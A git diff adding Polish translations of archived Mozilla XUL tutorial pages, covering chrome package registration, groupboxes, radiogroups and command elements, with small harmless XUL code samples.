zainstalować paczkę findfiles oraz skórkę dla niej. Format każdej linijki jest niezwykle prosty. Zawiera cztery wartości oddzielone przecinkami:  ; Type (typ) : Ustawiony na 'content' dla zawartości paczki, 'skin' dla skórek oraz 'locale' dla locale-ów. ; Install (instalacja) : Wpisz tekst 'install' aby zainstalowac element. Dla skórki i locale-ów możesz także ustawić go jako 'profile' aby zainstalować te elementy w katalogu z profilem użytkownika. Oznacza to że element będzie zainstalowany tylko dla pojedynczego użytkownika. ; URL Type (typ adresu URL) : Wpisz tekst 'url' aby określić adres URL, gdzie nowe paczki, skórki lub locale mają być przechowywane. Jeśli wpiszesz 'path', możesz jako miejsce podać katalog (który powinien być zgodny z zapisem katalogów w twoim systemie operacyjnym). ;URL (adres URL) :Ustaw adres URL lub katalog paczki. Powinno być to miejsce w którym znajduje się bezpośrednio plik contents.rdf lub ścieżka i nazwa pliku JAR. Ponieważ wpis ten odnosi się do katalogu, upewnij się, że kończy się on slashem. W innym wypadku paczka nie zostanie odnaleziona. Zauważmy, że użyte URLe są w typie "resource:/". Możesz użyć również typu pliku. Resource URL jest podobny do file URL z wyjątkiem tego, że zaczyna się od "resource:" a nie "file:" oraz jego głównym katalogiem jest katalog, gdzie zainstalowana jest Mozilla, a nie główny katalog systemu. Oznacza to, że można tego używać, aby odnosić się do plików w katalogu Mozilli albo jej podkatalogów, niezależnie od tego gdzie została ona zainstalowana. Resource URL powinien mieć jeden slash po dwukropku, ponieważ jest to zawsze ścieżka względna. Dodana linia powinna wskazywać na katalog, zawierający contents.rdf. Jeśli posiadasz wiele pakietów, dodaj po jednej linii dla każdego. Pomimo, że Mozilla przestrzega reguł nazywania katalogów, możesz umieścić pliki, gdzie tylko chcesz. Na przykład następujące linijki zainstalują nowy pakiet, który jest usytuowany w katalogu &lt;code&gt;/main/calculator/&lt;/code&gt;. &lt;pre&gt; <a class="external" href="content,install,url,file:///main/calculator/" rel="freelink">content,install,url,file:///main/calculator/</a> &lt;/pre&gt; Powinieneś zauważyć, że istniejące linie w installed-chrome.txt mają jeszcze jeden typ URL, typ "jar:". Jeśli pakujesz swoje pliki do pliku JAR, możesz użyć JAR URL do odniesienia się do niego. Ma on dwie części oddzielone wykrzyknikiem (!). Część przed wykrzyknikiem to URL pliku JAR, a część po wykrzykniku to katalog albo plik wewnątrz archiwum. Poniższy przykład może odnosić się do znajdywania plików dialogu: &lt;pre&gt; jar:resource:/chrome/findfile.jar!/content/findfile/ &lt;/pre&gt; Jednak przeważnie nie musisz się martwić JAR URL-ami, gdy tworzysz swoje własne archiwa. Zamiast tego powinieneś trzymać pakiety rozpakowane i odnosić się do nich używając typu URL file albo resource.</span></p>
+
+<h3 id="Starsze_aplikacje" name="Starsze_aplikacje">Starsze aplikacje</h3>
+
+<p>If you are creating applications for older versions of Mozilla software, that is, before Firefox 1.5 or Mozilla 1.8, the process is a bit more involved. The following describes how to set up a package for earlier versions. This section may be skipped if you are writing new extensions or XUL applications.</p>
+
+<div class="note"><strong>Note</strong>: This older process does also apply to the new SeaMonkey 1.0 though. The codebase there has not yet adopted the <em>"Manifest"</em> format.</div>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+ xmlns:chrome="<span class="nowiki">http://www.mozilla.org/rdf/chrome#</span>"&gt;
+
+ &lt;RDF:Seq about="urn:mozilla:package:root"&gt;
+ &lt;RDF:li resource="urn:mozilla:package:<span class="highlightred">myapplication</span>"/&gt;
+ &lt;/RDF:Seq&gt;
+
+ &lt;RDF:Description about="urn:mozilla:package:<span class="highlightred">myapplication</span>"
+ chrome:displayName="<span class="highlightblue">Application Title</span>"
+ chrome:author="<span class="highlightblue">Author Name</span>"
+ chrome:name="<span class="highlightred">myapplication</span>"
+ chrome:extension="true"/&gt;
+
+&lt;/RDF:RDF&gt;
+</pre>
+
+<pre class="eval">content,install,url,<span class="highlightred"><a class="external" rel="freelink">file:///main/app/</a></span>
+</pre>
+
+<ol>
+ <li>Create a directory somewhere on your disk. Many people put this as a subdirectory inside Mozilla's chrome directory, but this isn't necessary. The directory could be anywhere and on any disk. Put your XUL files in this directory.</li>
+ <li>Create a file called contents.rdf and place it in this directory. Copy the text in the box below into the new contents.rdf file. This file is used to identify the application id, its name, author, version and so on.</li>
+ <li>Change the highlighted parts of the file above to your own information. The red text 'myapplication' should be the ID of your application. You make this up, but typically, the ID is similar to your application's name. Replace the blue highlighted text above with your application's title and author.</li>
+ <li>If the 'chrome:extension' field is true, the application is a Mozilla Firefox Extension and it will show up in the Extensions window of the browser. If false, it will not appear.</li>
+ <li>Save the contents.rdf and make sure it is in the directory you created in step 1.</li>
+ <li>Open the file &lt;mozilla-directory&gt;/chrome/installed-chrome.txt, where &lt;mozilla-directory&gt; is the directory where Mozilla is installed. Exit Mozilla before you do this.</li>
+ <li>Next, you are going to register the new application with Mozilla so it will know where to find it. Add a line at the end of installed-chrome.txt pointing to the new directory you created in step 1. Change the highlighted text to the file URL below of the directory. Make sure that it URL ends with a slash and that you press enter at the end of the line. If you aren't sure what the URL is, open the directory created in step 1 into a Mozilla browser and copy the URL from the location field. Note that the reference should always be a directory, not a file.</li>
+ <li>Delete the file &lt;mozilla-directory&gt;/chrome/chrome.rdf.</li>
+ <li>Start Mozilla. You should be able to view any XUL files you put into the directory using a URL of the form: <strong>chrome://<span class="highlightred">applicationid</span>/content/file.xul</strong> where file.xul is the filename. Your main XUL file should be applicationid.xul which you can load using the shortcut URL <strong>chrome://<span class="highlightred">applicationid</span>/content/</strong>.</li>
+</ol>
+
+<p>If you are creating skin and/or locale portions, repeat the steps above, except that the format of the contents.rdf file is slightly different. Look at the contents.rdf files in other applications for details.</p>
+
+<p><span class="comment">== Na skróty == Powyższa informacja może być trochę myląca. Oto szybki przewodnik tworzenia prostych pakietów. Możesz po prostu robić krok po kroku to co jest tu napisane i spróbować zrozumieć detale przebiegu instalacji pakietów, gdy już będziesz bardziej rozumiał XUL. &lt;ol&gt; &lt;li&gt;Stwórz katalog gdzieś na swoim dysku. Wielu ludzi umieszcza go jako podkatalog w katalogu Mozilla chrome, ale nie jest to konieczne. Katalog może być gdziekolwiek na jakimkolwiek dysku. Umieść tam pliki XUL.&lt;/li&gt; &lt;li&gt;Stwórz plik o nazwie contents.rdf i umieść go w tym katalogu. Skopiuj tekst z poniższej ramki do nowo utworzonego pliku. Będzie on używany do zidentyfikowania aplikacji, jej nazwy, autora, wersji itp.&lt;/li&gt; &lt;?xml version="1.0"?&gt; &lt;RDF:RDF xmlns:RDF="&lt;nowiki&gt;<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>&lt;/nowiki&gt;" xmlns:chrome="&lt;nowiki&gt;<a class="external" href="http://www.mozilla.org/rdf/chrome#" rel="freelink">http://www.mozilla.org/rdf/chrome#</a>&lt;/nowiki&gt;"&gt; &lt;RDF:Seq about="urn:mozilla:package:root"&gt; &lt;RDF:li resource="urn:mozilla:package:&lt;span class="highlightred"&gt;myapplication&lt;/span&gt;"/&gt; &lt;/RDF:Seq&gt; &lt;RDF:Description about="urn:mozilla:package:&lt;span class="highlightred"&gt;myapplication&lt;/span&gt;" chrome:displayName="&lt;span class="highlightblue"&gt;Application Title&lt;/span&gt;" chrome:author="&lt;span class="highlightblue"&gt;Author Name&lt;/span&gt;" chrome:name="&lt;span class="highlightred"&gt;myapplication&lt;/span&gt;" chrome:extension="true"/&gt; &lt;/RDF:RDF&gt; &lt;li&gt;Zmień podświetlone fragmenty pliku na swoje własne informacje. Czerwony tekst "myapplication" powinien zawierać ID aplikacji. Możesz go zmyślić, ale typowo ID jest bardzo podobne do nazwy aplikacji. Zamień tekst podświetlony na niebiesko z tytułem i autorem aplikacji.&lt;/li&gt; &lt;li&gt;Jeśli pole "chrome:extension" zawiera "true", aplikacja to jedna z Rozszrzeń Mozilli Firefox (''Mozilla Firefox Extension'') i będzie wyświetlana w oknie Rozszerzeń (''Extension'') przeglądarki. Jeśli pole to zawiera "false", aplikacja nie pojawi się w tym oknie.&lt;/li&gt; &lt;li&gt;Zachowaj plik contents.rdf i upewnij się, że jest on w katalogu, który stworzyłeś w kroku pierwszym.&lt;/li&gt; &lt;li&gt;Otwórz plik &lt;mozilla-directory&gt;/chrome/installed-chrome.txt, gdzie &lt;mozilla-directory&gt; to katalog zainstalowania Mozilli. Przedtem zamknij Mozillę.&lt;/li&gt; &lt;li&gt;Następnie będziesz rejestrował nową aplikację w Mozilli, żeby program ten wiedział gdzie go może znaleźć. Dodaj linię na końcu pliku installed-chrome.txt, wskazując na nowy katalog, stworzony w kroku 1. Zmień poniższy podświetlony tekst na file URL (link do pliku). Upewnij się, że URL kończy się slash'em i że nacisnąłeś enter na końcu tej linii. Jeśli nie wiesz jaki jest URL, otwórz katalog, stworzony w kroku 1 w przeglądarce Mozilli i skopiuj URL z paska adresu. Zauważ, że odnośnik powinien być zawsze katalogiem, nie plikiem.&lt;/li&gt; content,install,url,&lt;span class="highlightred"&gt;<a class="external" rel="freelink">file:///main/app/</a>&lt;/span&gt; &lt;li&gt;Skasuj plik &lt;mozilla-directory&gt;/chrome/chrome.rdf.&lt;/li&gt; &lt;li&gt;Odpal Mozillę. Powinieneś być w stanie wyświetlić każdy z plików XUL, umieszczonych w katalogu przy użyciu URLa w formie: '''chrome://&lt;span class="highlightred"&gt;applicationid&lt;/span&gt;/content/file.xul''', gdzie file.xul to nazwa pliku. Głównym plikiem XUL powinien być applicationid.xul, możesz go załadować używając skrótu URL '''chrome://&lt;span class="highlightred"&gt;applicationid&lt;/span&gt;/content/'''.&lt;/li&gt; &lt;/ol&gt; Jeśli tworzysz skórki i/lub różnych użytkowników, powtórz wszystkie kroki, z tym że format pliku contents.rdf będzie trochę inny. Spójrz na pliki contents.rdf w innych aplikacjach, aby zobaczyć szczegóły.</span></p>
+
+<h3 id="Usuwanie_nieprawid.C5.82owo.C5.9Bci" name="Usuwanie_nieprawid.C5.82owo.C5.9Bci">Usuwanie nieprawidłowości</h3>
+
+<p>Tworzenie pakietu chrome może być często skomplikowane i jest trudne do zdiagnozowania w przypadku jakichkolwiek problemów. Znajduje się tu kilka porad w przypadku, gdybyśmy nie mogli sobie poradzić.</p>
+
+<ul>
+ <li>Otwórz plik &lt;mozilla-directory&gt;/chrome/chrome.rdf. Powinniśmy tam znaleźć odniesienie do ID swojej aplikacji. Jeśli nie, coś poszło źle podczas rejestracji. Jeśli jednak tam są, to jest prawdopodobne, że używasz złego adresu URL chrome, kiedy wczytujesz plik.</li>
+ <li>Spróbuj usunąć plik &lt;mozilla-directory&gt;/chrome/chrome.rdf. Zostanie on odnowiony. Usuń także cały katalog &lt;mozilla-directory&gt;/chrome/overlayinfo/, jeśli stosujemy nakładki.</li>
+ <li>Upewnij się, że adres URL w linii dodanej do installed-chrome.txt kończy się znakiem slash i sam plik kończy się pustą linią.</li>
+ <li>W Windows adresy URL pliku są często w formie <a class="external" rel="freelink">file:///C</a>|/files/app/, gdzie C to litera partycji dysku.</li>
+ <li>Upewnij się, że plik contents.rdf jest w odpowiednim katalogu i jest w odpowiednim typie. Otwórz ten plik w Mozilli, żeby zobaczyć czy jest rozpoznawany jako typ XML. Jeśli nie, ujrzysz błąd na żółtym tle.</li>
+ <li>Jeśli używasz debugera Mozilli, niektóre informacje będą wpisane do terminala podczas startowania, pokazując które aplikacje chrome są sprawdzane. Sprawdź czy twoja aplikacja jest na liście.</li>
+</ul>
+
+<p><span class="comment">* Make sure the contents.rdf file is in the right directory and is well-formed. Open the contents.rdf file in Mozilla to see if it parses as well-formed XML. If not, you will see an error on a yellow background. * If you are using a debug build of Mozilla, some info will be printed to the terminal when starting up indicating what chrome applications are being checked. Check if your application is listed.</span></p>
+
+<p>Aby dowiedzieć się więcej, przeczytaj artykuł o <a href="/pl/Rejestracja_Chrome" title="pl/Rejestracja_Chrome">rejestracji Chrome</a>.</p>
+
+<p>W następnym artykule rozpoczniemy już <a href="/pl/Kurs_XUL/Tworzenie_okna" title="pl/Kurs_XUL/Tworzenie_okna">naukę języka XUL</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:URL_Chrome" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_okna">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/pola_grup/index.html b/files/pl/mozilla/tech/xul/kurs_xul/pola_grup/index.html
new file mode 100644
index 0000000000..b843d20be4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/pola_grup/index.html
@@ -0,0 +1,78 @@
+---
+title: Pola grup
+slug: Mozilla/Tech/XUL/Kurs_XUL/Pola_grup
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Groupboxes
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Szczegóły_modelu_pudełkowego" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_innych_elementów">Następny »</a></p>
+</div>
+<p></p><p>Artykuł ten opisuje sposób zawierania elementów w grupach.
+</p>
+<h3 id="Pola_grup" name="Pola_grup"> Pola grup </h3>
+<p>Język HTML dostarcza elementu <code>fieldset</code>, który może być zastosowany do grupowania elementów razem. Granicą jest zazwyczaj obrys wokół elementów, aby pokazać, że są one powiązane. Przykład będzie pole grupowe zawierające pola wyboru. XUL dostarcza odpowiedni element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code>, który może być zastosowany w podobnym celu. </p><p>Jak wskazuje nazwa, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code> jest typem pola, oznacza to, że elementy wewnątrz niego ustawione są według reguł pól. Istnieją dwie różnice pomiędzy polami grup a polami regularnymi:
+</p>
+<ul><li> Domyślnie pole grupy jest otoczone elementem bevel. Możesz zmienić to zachowanie przez zmianę stylu CSS,
+</li><li> Pole grupy obsługuje element caption, który jest umieszczony w górnej części obramowania.
+</li></ul>
+<p>Ponieważ pola grup są typami grup, możesz użyć takich samych atrybutów jak <code><code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code></code> i <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code>. Możesz wstawić jakiekolwiek elementy, jakie chcesz wewnątrz pola, chociaż zazwyczaj będą one powiązane w ten sam sposób. </p><p>Etykieta u góry pola grupy może zostać utworzona przy zastosowaniu elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code>. Działa on podobnie jak element <code>legend</code> z języka HTML. Pojedynczy element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code> umieszczony jako pierwsze dziecko będzie wystarczające.
+</p>
+<h4 id="Przyk.C5.82ad:_Proste_pole_grupy" name="Przyk.C5.82ad:_Proste_pole_grupy"> Przykład: Proste pole grupy </h4>
+<p>Poniższy przykład pokazuje proste pole grupy:
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:titledbox1.png"></div>
+<pre>&lt;groupbox&gt;
+ &lt;caption label="Odpowiedź"/&gt;
+ &lt;description value="Banany"/&gt;
+ &lt;description value="Tangerine"/&gt;
+ &lt;description value="Budka telefoniczna"/&gt;
+ &lt;description value="Kiwi"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<p>Spowoduje to, że będą wyświetlone cztery fragmenty tekstu otoczone przez pole z etykietą <code>Odpowiedź</code>. Zwróć uwagę, że pole grupy posiada domyślnie orientacje pionową, która jest konieczna, aby mieć stos elementów tekstu w pojedynczej kolumnie.
+</p>
+<h4 id="Bardziej_z.C5.82o.C5.BCony_element_caption" name="Bardziej_z.C5.82o.C5.BCony_element_caption"> Bardziej złożony element <code>caption</code> </h4>
+<p>Możesz również dodać elementy potomne wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code>, aby stworzyć bardziej złożony <code><code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code>. Na przykład; panel preferencji Mozilla Font używa menu rozwijanego jako podpisu. Chociaż może być użyta dowolna zawartość, zazwyczaj będziemy używać pola wyboru lub menu rozwijanego.
+</p><p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_2.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:groupbox2.png"></div>
+<pre>&lt;groupbox flex="1"&gt;
+ &lt;caption&gt;
+ &lt;checkbox label="Włącz kopie zapasową"/&gt;
+ &lt;/caption&gt;
+ &lt;hbox&gt;
+ &lt;label control="dir" value="Folder:"/&gt;
+ &lt;textbox id="dir" flex="1"/&gt;
+ &lt;/hbox&gt;
+ &lt;checkbox label="Kompresuj archiwalne pliki"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<p>W tym przykładzie, <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia#Pola_wyboru_i_przyciski_opcji">pole wyboru</a> zostały zastosowane jako podpis (caption). Możemy użyć skryptu do włączenia lub wyłączenia zawartości pola grup, kiedy <code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code> jest zaznaczony lub odznaczony. Pole grupy zawiera poziome pudełko (<code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code>) z etykietą (<code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code>) i polem tekstowym (<code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code>). Zarówno pole tekstowe jak i pole grupy mogą być elementami elastycznymi, więc pole tekstowe rozszerza się, kiedy rozszerzamy okno. Poniżej pola tekstowego pojawia się dodatkowe pole wyboru, z powodu pionowej orientacji pola grupy. W kolejnym podpunkcie dodamy pole grupy do okna dialogowego <code>Znajdź pliki</code>.
+</p>
+<h3 id="Grupa_radio" name="Grupa_radio"> Grupa <code>radio</code> </h3>
+<p>Możemy stosować element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> do zgrupowania razem przycisków opcji. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> jest typem pola. Możemy wstawić dowolny element, do wewnątrz niego, z wyjątkiem specjalnej obsługi przycisku <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></code>, które działa podobnie jak inne pudełka.
+</p><p>Dowolny przycisk opcji umieszczony wewnątrz grupy przycisków opcji, aby zgrupować je wszystkie razem, nawet, jeśli są one wewnątrz zagnieżdżonych pudełek. Może to być stosowane do dodania dodatkowych elementów wewnątrz struktury, tak jak w tym przykładzie:
+</p><p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_3.xul">Podgląd</a>
+</p>
+<pre>&lt;radiogroup&gt;
+ &lt;radio id="no" value="no" label="No Number"/&gt;
+ &lt;radio id="random" value="random" label="Random Number"/&gt;
+ &lt;hbox&gt;
+ &lt;radio id="specify" value="specify" label="Specify Number:"/&gt;
+ &lt;textbox id="specificnumber"/&gt;
+ &lt;/hbox&gt;
+&lt;/radiogroup&gt;
+</pre>
+<p>Zauważ, że element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> nie jest otoczony żadnym obramowaniem wokół siebie. Powinniśmy umieścić element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code> wokół niego, jeśli obramowanie i podpis (caption) są wymagane.
+</p><p>Następnie będziemy stosować to, czego nauczyliśmy się dotychczas i <a href="pl/Kurs_XUL/Dodawanie_innych_element%c3%b3w">dodamy dodatkowe elementy do okna dialogowego <code>Znajdź pliki</code></a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Szczegóły_modelu_pudełkowego" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_innych_elementów">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/polecenia/index.html b/files/pl/mozilla/tech/xul/kurs_xul/polecenia/index.html
new file mode 100644
index 0000000000..34d9e2c057
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/polecenia/index.html
@@ -0,0 +1,170 @@
+---
+title: Polecenia
+slug: Mozilla/Tech/XUL/Kurs_XUL/Polecenia
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Commands
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrola_zaznaczenia_i_aktywacji_elementów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Aktualizacja_poleceń">Następny »</a></p>
+</div><p></p>
+
+<p>Polecenia to rodzaj operacji, która może być przywoływana.</p>
+
+<h2 id="Elementy_polecenia" name="Elementy_polecenia">Elementy polecenia</h2>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code> jest stosowany w celu stworzenia poleceń, które będą służyły przeprowadzaniu operacji. Nie potrzebujemy używać poleceń, od kiedy można je zastąpić wywołaniem skryptu obsługującego pewne zdarzenia. Jednak, polecenia posiadają pewną przewagę. Mowa tu o ich zdolności do automatycznej dezaktywacji, kiedy zajdzie taka potrzeba oraz mogą być wywoływane zewnętrznie bez znajomości szczegółów implementacji samego polecenia. Zapewniają one możliwość stworzenia pewnego abstraktu oddzielającego operacje od samego kodu. Polecenia są przydatne szczególnie w większych aplikacjach. Przykładem jest implementacja poleceń menu związanych ze schowkiem, takich jak; &lt;tt&gt;wytnij&lt;/tt&gt;, &lt;tt&gt;kopiuj&lt;/tt&gt;, &lt;tt&gt;wklej&lt;/tt&gt;. Jeśli nie korzystaliśmy z poleceń, będziemy potrzebowali określić, które pola posiadają skupienie, a następnie upewnić się, że operacja jest odpowiednia dla danego elementu. Dodatkowo, polecenia menu, potrzebują opcji aktywacji oraz dezaktywacji w zależności od tego czy element posiadający skupienie, zawiera zaznaczony teksy, czy też nie. Również do operacji wklejenia, w zależności, czy w schowku znajduje się odpowiednia do wklejenia zawartość. Jak można zauważyć, zaczyna się to komplikować. Wykorzystanie poleceń oszczędza w tym przypadku wiele pracy.</p>
+
+<p>Można używać poleceń dla każdej operacji. Mozilla wykorzystuje je do niemal każdego polecenia menu. Dodatkowo, pola tekstowe oraz inne elementy posiadają pewną liczbę wspierających je i gotowych do wywołania poleceń. Powinno się je używać w przypadku operacji zależnych od tego, na którym elemencie występuje skupienie.</p>
+
+<p>Polecenie jest identyfikowane poprzez jej atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code>. Mozilla używa konwencji, w której jej id rozpoczyna się przedrostkiem '&lt;tt&gt;cmd_&lt;/tt&gt;'. W celu zapobiegnięcia konfliktom w nazwach poleceń, można umieszczać nazwę aplikacji w wewnątrz id polecenia. Przykład poniżej:</p>
+
+<h3 id="Przyk.C5.82ad:_Proste_polecenie_command" name="Przyk.C5.82ad:_Proste_polecenie_command">Przykład: Proste polecenie <code>command</code></h3>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_1.xul">Podgląd</a></p>
+
+<pre>&lt;command id="cmd_openhelp" oncommand="alert('Pomoc!');"/&gt;
+&lt;button label="Pomoc" command="cmd_openhelp"/&gt;
+</pre>
+
+<p>W tym przykładzie, zamiast umieszczania atrybutu <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code> w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>, wstawiamy element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>. Są one połączone za pomocą atrybutu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>, który posiada wartość id polecenia. W rezultacie w chwili wciśnięcia przycisku, polecenie zostaje wywoływane.</p>
+
+<p>Istnieją dwie zalety używania tego podejścia:</p>
+
+<ul>
+ <li>Pierwsza, to przesunięcie wszystkich naszych operacji do poleceń, które mogą być pogrupowane razem w sekcje w plikach XUL. Znaczy to, że ów kod, jest skupiony w jednym miejscu, nie natomiast rozproszony po kodzie całego interfejsu użytkownika,</li>
+ <li>Inną zaletą jest fakt, że kilka przycisków i innych elementów UI (interfejs użytkownika), może być "podpiętych" do tego samego polecenia. Przykładowo, możemy posiadać pewną <a href="pl/Kurs_XUL/Proste_paski_menu">pozycję menu</a>, <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">przycisk paska narzędzi</a> i <a href="pl/Kurs_XUL/Skr%c3%b3ty_klawiaturowe">skrót klawiaturowy</a> podłączony do tego samego polecenia. Dużo wygodniejszym rozwiązaniem, niż powtarzanie tego samego kodu dla każdego z tych trzech elementów, jest wspomniane "podpięcie" ich pod to samo polecenie. Zazwyczaj, podłączane są tylko elementy, które wysyłają zdarzenie polecenia.</li>
+</ul>
+
+<p>Dodatkowo:</p>
+
+<ul>
+ <li>Jeśli ustalimy także atrybut <code><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code></code> dla polecenia, będzie ono dezaktywowane i nie będzie możliwości jego wywołania,</li>
+ <li>Każdy przycisk oraz pozycja menu "podpięte" do niego, będą również automatycznie dezaktywowane,</li>
+ <li>Jeśli ponownie aktywujesz polecenie to przyciski i inne elementy ponownie staną się aktywne.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad:_Prze.C5.82.C4.85czenie_wy.C5.82.C4.85czenia_command" name="Przyk.C5.82ad:_Prze.C5.82.C4.85czenie_wy.C5.82.C4.85czenia_command">Przykład: Przełączenie wyłączenia <code>command</code></h3>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_2.xul">Podgląd</a></p>
+
+<pre>&lt;command id="cmd_openhelp" oncommand="alert('Pomoc');"/&gt;
+&lt;button label="Pomoc" command="cmd_openhelp"/&gt;
+&lt;button label="Więcej pomocy" command="cmd_openhelp"/&gt;
+
+&lt;button label="Wyłącz"
+ oncommand="document.getElementById('cmd_openhelp').setAttribute('disabled','true');"/&gt;
+&lt;button label="Włącz"
+ oncommand="document.getElementById('cmd_openhelp').removeAttribute('disabled');"/&gt;
+</pre>
+
+<p>W tym przykładzie oba przyciski używają tego samego polecenia. Kiedy przycisk "Wyłącz" zostanie naciśnięty, polecenie zostaje dezaktywowane poprzez ustalenie jego atrybutu <code><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code></code>. W tym przypadku oba przyciski zostaną dezaktywowane.</p>
+
+<p>Szeroko stosowanym zabiegiem jest grupowanie poleceń w elementy o nazwie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/commandset" title="commandset">commandset</a></code></code>. Znajdują się one zazwyczaj na początku pliku XUL. Przykład poniżej:</p>
+
+<pre>&lt;commandset&gt;
+ &lt;command id="cmd_open" oncommand="alert('Otwórz!');"/&gt;
+ &lt;command id="cmd_help" oncommand="alert('Pomoc!');"/&gt;
+&lt;/commandset&gt;
+</pre>
+
+<p>Polecenie jest wywoływane, kiedy użytkownik aktywuje (włączy) przycisk lub inny element połączony z tą metodą. Możemy, także wywoływać polecenia poprzez zastosowanie metody <code><span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span></code> dla samego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code> lub dla elementu, który jest bezpośrednio połączony z tym poleceniem, takiego jak np. przycisk.</p>
+
+<h2 id="Dyspozytor_polece.C5.84" name="Dyspozytor_polece.C5.84">Dyspozytor poleceń</h2>
+
